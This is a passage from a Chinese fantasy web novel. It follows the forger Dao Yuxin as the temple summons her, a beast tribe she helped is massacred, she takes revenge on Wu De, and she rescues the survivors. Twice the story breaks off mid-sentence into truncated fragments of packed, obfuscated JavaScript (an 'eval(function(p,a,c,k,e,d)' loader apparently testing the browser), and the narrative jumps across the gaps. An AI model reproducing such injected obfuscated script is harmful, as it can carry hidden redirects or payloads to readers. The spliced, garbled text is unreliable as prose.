说着刀语心打量着周围,这里是卫队外用来临时关押犯人的地方,谢止沉似乎在充当守卫者的角色。 只是为什么那些人缩在最里面眼中也满是惊恐,见到刀语心像是见到救星一样不断散发着求助的目光。 “我很好。”注意到刀语心的视线朝向身后,谢止沉侧身扫视过去,那些人急忙移开视线。 “我没做什么,只是扼杀他们想要作恶的念头而已。”担心自己给刀语心留下不好印象的谢止沉解释着。 “辛苦你了。”刀语心完全不想主持公道,换句话说她是站在谢止沉这边的。 等卫队的人忙完前来交接后,他们走在回家的路上。 “这箱子装了什么?我帮你拿吧。”谢止沉察觉刀语心手上的提箱重量有些不同寻常,不过他没有多问刀语心为什么不放进空间的。 “是金条!我要把它们放在我的床头垒起来展示几天。”边将箱子交给谢止沉,刀语心边解释道。 之后大概就要离开无名镇了,刀语心也没有这种能安心将东西放在身边的机会。 所以说这箱金条其实是刀语心的战利品,谢止沉将它小心提好。 “说起来,你之后打算去哪里寻找材料?”刀语心问道,在锻造出谢止沉需要的禁锢装置之前,他们应该还会同行一段时间。 “我没什么想法,我想你大概也是?”说着,谢止沉看向身旁之人。 收到目光的刀语心点头。 她离开无名镇的目的是找到解决诅咒的办法,如今下咒之人的线索指向中央城,不过刀语心很清楚,即便自己进步飞速,但还远远不到能硬碰硬的程度。 “你还记得我们在地下遗迹找到的地图吗?或许我们可以一起去看看。” “没问题。”她答应下来。 比起急需补觉的刀语心,其他大多数人在战斗过后都处在一种兴奋当中。 不知是谁先提出“办个庆功宴”这样的想法,但随着时间的推移一传十十传百,前所未有的各方势力都打算聚集在卫队的营地开始庆贺。 身为这次胜利的关键核心,刀语心自然是必不可少的一员。 这场庆功宴并不是什么论功行赏的会议,只是众人聚在一起,享受美好时光的一个途径。 隔天傍晚时分,休息够了的刀语心和谢止沉才走到卫队不远处,就有不少人和刀语心打招呼。 虽然卫队众人都对刀语心抱有强烈的感激之情,但在裴瑛的再三勒令之下,他们被迫放弃一见面就把刀语心团团围住举起高抛的想法。 并不是裴瑛过度敏感,这样的事曾经有过,然后刀语心连续整整一个月不曾踏入卫队门槛。 刀语心不太习惯接收别人的纯粹善意。 但比起过去现在已经好了很多,至少她身边已经有了三五好友。 “刀语心——” 一眼穿过人群看到刀语心的身影后,绿绮就快步来到她另一侧身旁,将手中的东西递在刀语心面前,“给你,我觉得这个很好吃。” 这是绿绮特地给刀语心留下的小蛋糕,刚一上桌就被哄抢一空。 “谢谢。”刀语心没客气,拿到手后她就咬了一口,虽然不是什么精心制作耗时许 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但谢止沉有牌也不出,心甘情愿被刀语心扣血。 看谢止沉不爽的另外二人不约而同地调转势头开始进攻,但也恰巧掉入陷阱,因为忙着端水的刀语心主动帮谢止沉还击分担压力。 “歹毒啊!歹毒!” “你们也太没牌品了。” 忽然间众人视线中闪过白芒,但不过毫秒就消失无踪。 “这是……传送阵?”绿绮有些不确定地说道,这也让刀语心明白自己刚才并不是出现了幻觉。 “迟大少,会长想找你聊聊。”宋齐也在这时前来传话,同样身为领导人不便于出面,罗茜此刻和裴瑛在二楼交谈。 听见这称呼的迟明煦起了一身鸡皮疙瘩, “宋少爷您还是别挤兑我了。”和几人简单告别后他随宋齐离开。 一阵夜风吹起纸牌,没等绿绮伸手抓住最后一张,终端上传来的通讯打断了她的动作,只能眼睁睁看着纸牌飘落进火堆。 “小祖宗!你去哪里了?”身为绿绮监护人的副官在四处找寻她的踪迹。 “哎呀,我在卫队这边。”绿绮边说,边和刀语心挥手示意,匆匆跑开出去找她的副官。 不知不觉间圆月悬在夜空,刀语心也打算走了。 她看向谢止沉,和对方对上视线,而谢止沉也明白刀语心的想法。 “我们也回去吧。” 在回去的路上,那突如其来的光亮一直在刀语心脑海中久久不散,她心底莫名涌现着不安的情绪。 “是神殿的人。”流光已经给谢止沉带来了消息,“他们来了。” 话音刚落,街道尽头出现一群身披白袍的人,他们正向刀语心所在方向疾行而来。 距离不断被压缩,刀语心手搭上剑柄思考他们究竟为谁而来。 前不久她借神殿之手重创救世会,但刀语心知道他们找不到自己,追踪源头信号只会得到一串乱码,若是为谢止沉而来,这阵仗也有些说不通,就这点人应该挡不住他。 来到二人面前,神殿众人齐刷刷停下步调。 大部分人停在不远处唯独一人没有停歇,迎面走来的过程中那人掀开兜帽,露出一张刀语心意想不到的面容。 “许久不见,大概有七八年了吧。”出声之人和刀语心年纪差不多大但二人气质大相径庭,虚假至极的笑容和浮夸的肢体动作,都在证明有神殿作为靠山的他小人得志。 这人是吴阿婆之子吴德,刀语心记得他,前些年随着主教离开无名镇就再没有回来,刀语心和他没什么好说的,大多是童年时期的旧怨。 “你来干什么?” “别这么着急嘛,你看,这是什么?”他伸出手,一个物件随之垂落。 染血、破损……本该在玄风身上的护心镜,此刻被吴德随意拿在手中向刀语心展览。 看清楚那物件的模样后谢止沉皱眉,他转身急切地看着刀语心。 只见月光打在刀语心那毫无表情的面上。 51. 第 51 章 不该是这样。 那双眼中没有任何情绪的存在,但谢止沉知道刀语心不可能毫无波动,他清楚地记得刀语心在异兽祭典那天晚上说的话,还有那些包含在话语中的热切期望。 本不该是这样。 初见刀语心的情景和此刻重合,那冰冷无光的眼神让她整个人如机器般空洞,如今她好不容易拥有些许情感,她找到自己想要追寻的事物,对锻造的态度也不再是一昧厌恶。 但是现在这一切被全数毁灭。 “因为你锻造出半神阶以上的造物,他们才会死去。”观看好戏的吴德还在不停煽动。 她锻造出用于保护的护心镜,却成为索命的魔咒,他故意将这个血淋淋的事实摆在刀语心面前。 杀掉他。 这是谢止沉此刻唯一的念头。 杀意喷涌而出,但在流光将吴德撕碎的前一刻,谢止沉感受到手腕间多了冰冷至极的触感,刀语心按住他的动作。 “不,不是现在。”那双眼中依然毫无波动。 人是被过去所塑造的,幼年时期的成长经历已经无数次告诉过刀语心情绪是无用的,她很清楚如果谢止沉在这里出手杀死吴德,那么局面会变得更加混乱无序。 那样并不是有利于她的情况,刀语心也不愿让谢止沉和其他人承担如此大的风险。 短短一瞬的举动也让吴德察觉出异样,他敢孤身一人大摇大摆来刀语心面前卖弄,也不是毫无准备。 只见他后退抬手掷出一物。 浑身镀满灿烂金光,打造精美的叶片悬在空中,随即,一道灿烈光柱穿透云层自天而降落在刀语心之上,但被无数光芒包裹的刀语心,只剩无数的冷寂。 一切异动都没有分去她的视线,她从始至终,都在死死盯着吴德。 看着那双眼吴德本能感受到恐惧,但随后他按住自己颤抖的手恶狠狠地瞪回去,他已然明白即便天赋异禀悟性远超常人,刀语心也和他没什么不同。 他们都是供神明取乐的棋子。 想到这里,他脸上挂起得意的笑容说:“身为唯二能够锻造出半神阶装备的锻造师,神赐予你觐见祂的权力。” 另一位就是他的母亲,由于力量被神所忌惮不得不自刎而死保全整个救世会,思及至此吴德眼中闪过暗沉,但很快消失不见。 至少他也用这样的方式,让刀语心感受到相同的痛苦。 “在神降日去往观礼,不要妄想逃走,否则你将受到整个神域的追杀。感谢神的荣恩吧……这是你的荣幸。” 说完吴德还以为自己会听见刀语心口中传来恐惧的质问以及愤怒,但什么都没有。 只见刀语心抬手,将神令攥在掌中,她掐灭那无休止绽放的光芒。 由神令引起的异象太过震撼,以至于吸引了无数的视线,本在参加宴会的人也纷纷看向此处,裴瑛和绿绮也在第一时间赶到刀语心的身旁。 光芒散去神令完成绑定,吴德重新披上斗篷,和其他神殿之人一起离开。 “刀语心!你没事吧?” “怎么了?神殿那些人为什么找上了你?” 二人话语中都是担忧,她们也听到了吴德口中的觐见,想到有关那位神明的传言,所谓的觐见,恐怕并不是什么恩赐。 看着吴德离开后,刀语心垂眼尽力不让自己显出异样。 “我没事的,祂想要让我前去觐见。”虽然才分别不久,语调似乎也没有什么改变,但她们能感受到刀语心此刻的状态很不对,至少绝不应该是她显示出的那种平静。 “我有些累,就先回去了。”说完,刀语心就先一步离开,原先她停留的地方只余几滴血迹。 得不到解答的二人只得将视线投向一直陪在刀语心身边的谢止沉,而他脸上也是同样的忧虑。 他说:“异兽被神殿灭族了。” 说完,他就追上刀语心离开的身影。 刀语心的步伐不快,看起来和平时没什么两样,但只是看起来而已。 一把握住她的手腕,谢止沉截停刀语心未曾停歇的脚步,他将刀语心死死攥在掌心刺伤自己的叶片令牌拿开,以免她继续伤害自己。 “啊……抱歉,让你担心了。”一直沉寂在自己思绪之中的刀语心并没有注意到这一点疼痛。 “不,不用和我道歉。” 安慰的话语怎么也说不出口,谢止沉第一次觉得言语是那么无力的东西。 那失焦的视线重新定位在谢止沉身上,刀语心停顿片刻后组织出语言:“我没事的,我想一个人待一会,放心吧,先前只是没注意,我不会再伤害自己。” 对此,谢止沉只能陪着她回家,目送刀语心关上房门。 他知道自己需要做些什么。 只是过度使用力量的确会暴露自己,刀语心也很明显不希望他这么做。 过往和翼蜥龙裔接触过的所有回忆在他脑海中重现,他不断寻找着方法,想要找到能够解决当前局面的信息。 族群的延续对族长而言,是妻子临终嘱托…… 那么族长绝不会坐以待毙。 再转眼,谢止沉就来到异兽部落,和前不久见到的生机盎然不同,一切都被毁灭殆尽。 到处都是被破坏的房屋,以及一地没有任何处理的尸体,风沙从屏障中漏出,只需要时间的流逝,沙漠会将这里的一切掩埋同化,再无任何族群生活过的痕迹。 一路上,谢止沉都在确认是否还有生还者,只是奇迹并没有发生。 他来到墓碑旁,果不其然族长化作异兽本相躺在那里。一阵风吹过,一片枯叶即将落在墓碑上,但似乎被什么东西阻挡下来无法触碰。 “您来了。”虚幻的影子出现在谢止沉面前,老族长已经死了,但灵魂还残留于此地。 “数量和尸体对不上,其他异兽是死了,还是被你藏了起来?”谢止沉直截了当地询问着。 “有一部分是,还有一部分逃进邪魔域。” 族长回答着谢止沉的问题,但谢止沉很清楚,族长留在这里不可能只是为了见自己最后一面。 果不其然,灵魂态的族长抬手,一股力量从落叶中找出藏起来的玄风,将她包裹着送到谢止沉面前。 “还请您救下这个孩子。” 因为有护心镜的存在玄风没有受到多少伤害,只是被吴德强行夺走护心镜后被反噬命悬一线,早有准备的族长将她伪装成假死躲过一劫。 “所以,这一切都是你算计好的。”谢止沉语调像淬上一层冰寒。 从刀语心遇到玄风的那一刻开始,她就踏入命运的漩涡,让她不得不承担此刻的结局。 族长知道会发生的一切,但还是选择将刀语心拖入泥潭,让她承受本不该承受的苦痛,这才是谢止沉无法容忍的地方。 面对谢止沉的质问族长并没有急于辩解,他坦荡地承认:“我很抱歉,但这是我们一族最后的生路。” “如果不是将刀语心小姐她也牵扯入其中,等待着我们一族的只有被覆灭的命运。如果您心怀愤怒,就宣泄给我吧。”他留在这里就是为了承担一切后果。 只是谢止沉终究下不去手,他很清楚族长已经付出许多代价。 再说了,最开始是他将族群终将覆灭的预言告知族长,或许在他将看见的命运说出口后,就已经造就出今天的结局。 谢止沉没再多说,带着玄风转身离开。 目送他们离去的族长身形也逐渐消散,在残存于世的最后之际,他抚摸着身旁的墓碑呢喃:“我没有食言,我做到了……” 房间中,那顶由无数羽毛编织出的斗篷反射着光彩,而此刻赠予刀语心这份礼物的异兽们,大概已经不再存在于这个世间。 她只是抱着自己的腿,蜷缩在床的角落,盯着那些在黑暗中的色彩。 她当然没事,她依然完好无损地活着,怎么会有事?只是她本觉得,一切都在慢慢变好,但突如其来的打击又在无比清楚地告诉她: 你什么都无法改变。 甚至,她做了这么多得到的答案却是她将无数生命推向死亡。 异化之力将她整个人包裹起来遮住她的视线,似乎这样能带她脱离这个世界感受片刻静谧,只不过刀语心也明白,逃避无法解决她遇到的所有困境。 吴德必须付出代价。 指尖勾起一丝异化之力不断被她重塑延伸出熟悉的纹路,那是她诅咒的其中一部分,只是很快溃散无法长时间维持更无法完整成型,应该是某个步骤有问题但刀语心目前无从得知。 视线扫过一旁堆起的金条,刀语心将其拿在手中感受着冰冷沉重的触感,但下一秒那抹金黄就在她掌心中消失。 黄金成为推演的祭品,白色棱体散发的光芒照亮着整个房间,空间戒指内无数金币堆成的小山哗啦啦的倒塌,但同时也让刀语心指尖跳动的诅咒越来越稳定。 在耗尽一切之前,刀语心得到自己想要的答案。 她将斗篷细心收起,起身推开门,也恰在这时谢止沉带着玄风出现在她的面前。 他说:“你看,它还活着。” 一时之间,那些被死死按住的情绪终于开始松动,凝成实质的目光颤抖着落在被流光托起的玄风身上,玄风受到的伤势已经被谢止沉治愈完毕,只需要足够的时间她就能恢复原样。 刀语心小心地将玄风接到自己掌心,感受着那虚弱的呼吸,虽然微弱,但玄风的脉搏仍在跳动。 将玄风安置好后,刀语心如同溺水之人重新呼吸到空气,她有种重回人世的恍惚感,至少玄风还活着,她不必背负永无止境的愧疚,她还能够弥补。 回过神后,她侧身看向谢止沉,她开口说:“和我去个地方吧。” 无名镇神殿据点。 报复完刀语心的吴德扬眉吐气,哼着小曲品着红酒,翻看着此行的任务计划。 不过他什么都没看进去,沾沾自喜地沉浸在喜悦。 在刀语心出现之前,他是所有人唯一的期望,只是在吴阿婆把刀语心带回来后,他就从无比璀璨的星辰,成了一个黯淡无光的陪衬品,如果没有刀语心,他依然是救世会年轻一辈中资质天赋最好的。 可偏偏来了个刀语心。 自那之后他就活在阴影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为了让自己活下来,吴德出卖救世会的其他人得到苟活,但他依然被关押在牢狱中。 直到跟着传召者走过长廊后,吴德来到神明所在的主殿,整个殿堂华美又高洁,他不自知地被吸引向前,只不过还没走几步他就直直跪下去。 “你要的人,我带来了。”传召者的声音自远处传来回响。 “啧,虽然是她的子嗣,但你还真是不怎么样。”只是一眼,高高在上的神明就失去了兴趣,“我的宠物在无名镇死了,去找到杀死他的人,如果找不到的话你就去地狱陪你母亲好了。” “还有,把这个带给她。”神令散发着光芒飘浮到吴德面前。 “你母亲唯一的传人,刀语心。” 再然后吴德就在神子神女的陪同下再度踏上沙漠,他本该直接来到无名镇,却在途中感受到神令共鸣,他明白是刀语心锻造出了半神阶道具。 神女二人只负责保障他的安全,但吴德可以狐假虎威指挥其他神殿侍从,再加上他自己本身就是战斗职业,一番围剿之下他达到自己的目的,将护心镜抢到手中。 将一切告知刀语心,吴德以为她就会放过自己。 共振…… 刀语心在思索,说起来她似乎也感受到了什么,意识空间内职业树的枝桠在不断颤抖摇晃。 是了,她被夺走的天赋就在吴德身上。 久久没有动静,吴德觉得自己逃过了一劫,但紧接着他又被堵上嘴,随即刺骨的恶寒席卷他的每一根神经,灵魂像是要被人扯碎,有什么东西被刀语心活生生撕下。 眼泪混杂血液和汗水不断流下,吴德知道自己失去了他所珍视的天赋,即便他明白那从来不是属于他的东西。 “天赋回归,先天战魂——你的灵魂为战而生。” 做完这一切,她会停手吗? 答案是否定的,诅咒还没有施加在他的身上。 即使视线被血液模糊,吴德依然知道刀语心手中的是不断跳跃的咒文,无尽恐惧席卷他的神经。 他知道那是什么,也见过刀语心诅咒发作的模样,他才不要经受这样的痛苦,他恐惧地摇头想要逃跑,但无力反抗的他注定无法摆脱被诅咒缠上的命运。 最终,吴德倒在地上只剩微弱呼吸,鲜血早已经铺满地面。 走出门外,月光已经隐入云层之中。 做完这一切后缠绕着刀语心的郁结短暂消散,远远谈不上喜悦,她很清楚无论捅吴德多少刀,那些逝去的灵魂都无法再度回归世间。 一直守在门外的谢止沉见刀语心不想说话也没有开口,他只是牵起她的手,为她擦去那些污浊的血迹。 只是突如其来的人影打破这难得的沉寂。 一对穿着神殿统一服饰的男女出现在他们面前,从暗金花纹的复杂程度来看,他们职级不低,大概就是吴德口中的神子神女。 啊,被发现了呢。 刀语心毫无波澜的眼神看着二人。 52. 第 52 章 在深夜闯入神殿领地并不是什么表达友善的行径,再加上刀语心手上的血液还正从指缝中滴落,神殿二人都明白吴德肯定是凶多吉少。 那么发现这一切的他们呢? 察觉在夜色中飘荡的杀意后,神子率先挡在神女身前,只要有一丝异动就会触发大战。 不过刀语心并没有急着灭口,她已经从吴德口中知晓,神殿此行来到无名镇的目的就是为了找到杀死异形者的凶手,也就是谢止沉。 刀语心明白只要她想杀死对方,谢止沉一定会帮自己,但那样保不齐就会暴露谢止沉的身份,她不能让他们得逞。 不过身为神殿高层面前两人不可能是泛泛之辈,先不说刀语心自己以一敌二获胜的概率有多少,即便赢了也难保神殿不会派更加棘手的人出现。 只是不抱着杀死对方为前提的话,局面就有些难以解决。 真烦。 她兴致恹恹地想着。 只是还没等刀语心找到合适的借□□涉,对面就开始动作,神女先一步打破僵硬的局面,她轻轻推开护在自己面前的身影,几步来到刀语心面前。 不在乎刀语心手上的血迹和眼中的警惕,神女径直拉起刀语心垂坠在身侧的左手。 看着那双温柔似水的双眸,刀语心听见她说:“我很抱歉,没有阻止吴德。” “我只能尽我所能救走其中的一小部分,它们暂时被我安置在这个坐标,但碍于身份我行动受限,它们就拜托你了。” 神女言语中的歉意字字真切,眉目间流露悲恸,她传达在刀语心手中的坐标闪着亮光。 “你们走吧,既然神明想要见你,我们便不会对你多加阻拦。”更何况在神女看来,这也是吴德罪有应得。 “……谢谢。” 先前剑拔弩张的氛围消弭后,红光闪过谢止沉就直接带着刀语心离开神殿据点。 再一转眼,他们就来到沙漠之中。 流光消失的瞬间刀语心想到谢止沉不能暴露,她猛然握紧拉着谢止沉的手。 知道刀语心担忧什么的谢止沉轻声开口:“放心,只要不是动用最深层的力量,他们就不会发觉我的身份。” 之所以这么快地离开,也是出于谢止沉自己的私心,他并不想让神女触碰刀语心。 只是在听到解释后,刀语心握着他的力道也没有松懈。 她看着远处的岩洞,那就是坐标上的位置,只是如今刀语心近在咫尺,但心中却不可控制地生出退意,她垂下眼眸说道: “我不敢去见他们。” 逃避是人之本能。 面对超出自己能力范围的困境,以及难以解决的问题,无力感将刀语心吞没。 过去加之于她的那些伤害完全无法让她成为太阳,她也不抱有照亮他人的期望,只是刀语心从不想亏欠什么,但如今异兽族群中无数生命因为她的造物而消逝。 她低头,看着自己手上沾染的血迹,即便这些血液全部来自对吴德的报复,但刀语心总会觉得,自己也是凶手之一。 祭典上听到的欢声笑语,看到的温暖笑容,一切都化为灰烬,她害怕自己受到那些幸存者的指责,她害怕自己昔日得到的善念转化为无数恶意…… 在陷入无止境负面循环之前,一丝触感将她的思绪打断。 视线中血淋淋的手被人握住,上面残留的痕迹也被轻柔地,一点点拭去。 听着那夜风中传来略显破碎的声音,谢止沉明白刀语心并不是想要逃避,更不是不想承担后果,她只是需要一点时间,一点用来缓冲的时间。 等到将一切污浊的痕迹抹去,他抬眼对上刀语心的眼睛,将她被风吹拂的发丝理在耳后,他认真地说道: “这不是你的错。” 那双暗红眼眸中只余刀语心的身影,“你来到这里,是想要帮助他们不是吗?” 谢止沉知道即便刀语心受到斥责,她也会尽力弥补那些已经失去家园的异兽,她不会视而不见,更不会什么都不做的逃跑。 “无论要面对什么,我都会陪你一起。” 如果刀语心不想处理,那么谢止沉会帮她善后,只是大概刀语心并不会给他这个机会,因为刀语心也明白,逃避无法解决问题。 她眨眼,思绪流过后,她回应道:“好。” 深夜,空荡洞穴中是时不时传来低声哭泣,但很快会被抑制住渐渐消失,听着哭声的玄洛也心中悲戚,只是如今充当临时首领的他还需要处理更为棘手的问题。 住房、食物、日常用品…… 他们失去了所有的一切,而且还有身受重伤的族裔,如果再得不到救治,那么等待着他的只会是更多悲鸣。 刹那,陷于愁绪中的玄洛抬眼看向洞口。 他的精神力散发在外铺成一地用于戒备的防线,而此刻有谁踏上,并不断朝着他们所在的地方走来。 不愿打扰好不容易睡去的其他异兽,玄洛悄悄起身向外走去,只是他无法避免所有视线。 随着越接近洞口,玄洛思绪就越是沉重,他不想死去,但他无法预知命运。 命运已经给他开了个难以承担的玩笑,他不知道下一刻究竟会是柳暗花明,还是又迈着步子走向深渊。 从岩洞中的黑暗中走出,月光给大地镀上一层白光,也让他看清视野范围内的人影,玄洛不可置信地愣在原地。 “玄洛……是我。”刀语心停在不远处,她不确定这里是否接受她的到来。 正当玄洛不知该说什么时,他听到身后传来急促的呼吸声,玄洛回头看去,是玄霜拿着武器,不知在他身后跟了多久。 “小霜,等等……” 还没等玄洛把话说完,玄霜就朝刀语心冲了过去。 直到看见玄霜拿着的武器在中途就落在沙地上,玄洛悬着的心才落下,着急阻止的步伐停止,他松了口气。 从前那个冷酷的少女终究还是半大孩子,玄霜只是扑进刀语心的怀里,用眼泪宣泄着苦痛,刀语心什么都没说,只是静静地给予最大限度的拥抱。 “她还活着。” 在此期间,谢止沉带着沉睡的玄风来到玄洛面前。 钦定的继承者没有死去,这多少会给饱受打击的族群带来些许微弱的希望。 见到谢止沉收起流光时那一闪而过的璀璨红眸,玄洛一直以来怀疑的身份也敲下定论,自原本世界中成长的他很清楚族中传唱千年的事迹。 即使被逆反者夺位,但谢止沉才是翼蜥龙裔一族心中的无冕之王。 “感谢您和刀语心小姐的帮助。” 在那场屠杀中,刀语心制造出的保命护符起到至关紧要的作用,时至今日,也有异兽将损毁的护符放在枕边才能入睡。 “走吧,先去治疗伤者。”说着谢止沉收回视线,朝岩洞中走去。 虽然心中有许多不可言说的嫉妒,但他很清楚处理好异兽一族不让刀语心生出心结才是更重要的。 片刻后,漆黑洞口中光芒盛放,无数生机从其中涌现,充满温柔的治愈力量也落在刀语心和玄霜身上。 天际线也亮起日出光晕,空气中的冰寒开始逐渐退却。 等到刀语心进入洞穴时,大多数异兽已经醒来,和她最坏的预想恰恰相反,异兽们如初次见面一样,朝刀语心投来感激的视线。 “族长其实很早就和大家说过,我们的族群会遭遇前所未有的磨难,但现在,我想我们已经度过了最困难的时刻。” 玄霜带着玄雨玄雪守在沉睡不醒的玄风身边,伤势痊愈的异兽们也不再死气沉沉。 “刀语心小姐,感谢你的帮助。如果不是你慷慨给予的保命护符,伤亡数量只会更多。” 所以,她的造物并不是毫无用处。 那些不断用来自我怀疑的言语,如今也不攻自破。 和玄洛交谈完毕后,刀语心才意识到自己没有看到谢止沉的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不仅仅是因为神令,还有刀语心身上的诅咒,那些东西都在不停驱使着她。 “对。”现在就等回到家中确认下一步地点。 绿绮没说什么,只是将一对可爱的布娃娃交到刀语心手里,一个是刀语心的模样,另一个就是绿绮自己。 “祝你一帆风顺……” 绿绮也想开开心心地说出祝福,但一想到之后很长的时间都见不到刀语心,她就止不住地失落。 不想让眼眶中的泪水被刀语心看见,绿绮扑在刀语心怀中,声音闷闷地说:“不知道你什么时候才会再回来,但你一定不要忘了我。” 她也想跟在刀语心身边,但如今身为无名镇救世会的话事人,她也背负着重担。 抱着绿绮,刀语心摸摸她的头安抚道:“不会的。” 即便在此刻分别,但刀语心相信她们终将在更远的未来重逢。 安顿完翼蜥一族后,在清晨时分回归的刀语心走进会议室,迟明煦给予的商会地图蓝本投影在长桌之上,接着一顿操作后,从遗迹密室获得的藏宝图缓缓和地图重合。 在圆弧严丝合缝重叠后,被圈起的“宝藏”范围也清晰明了。 这也是刀语心第一次得见完整的残存区:混乱地界、遗忘之乡……中央城。她的视线扫过地图上标注的地名,最高的高塔矗立在残存区中心,那是中央城的标志。 和蓝色虚影完全相反的金色光芒射入室内,谢止沉带着神令推门而入。 “和你预想的一样吗?” “对,检测出的只有增益属性,但是它无休止地用特定频率向外界传达你所在位置。”如果贸然毁去,还会对所有者造成反噬,在吴德将神令投掷出的那一刻就强行绑定上刀语心。 就算谢止沉想把神令带到别处,或者扔进其他空间,也会重新出现在刀语心身边。 别有用心的定位器。 “但这至少说明,我还有一段苟活的时间。”刀语心不怎么在意,她只是将离得最近的地点标亮,那是离无名镇最近的圆,被圈起的地方是混乱地界。 她更在意眼前的地图,自上而下俯瞰整个残存区的轮廓,无比规整的圆形分割一切。 “所以,这真是个藏宝图吗?”刀语心朝谢止沉问道。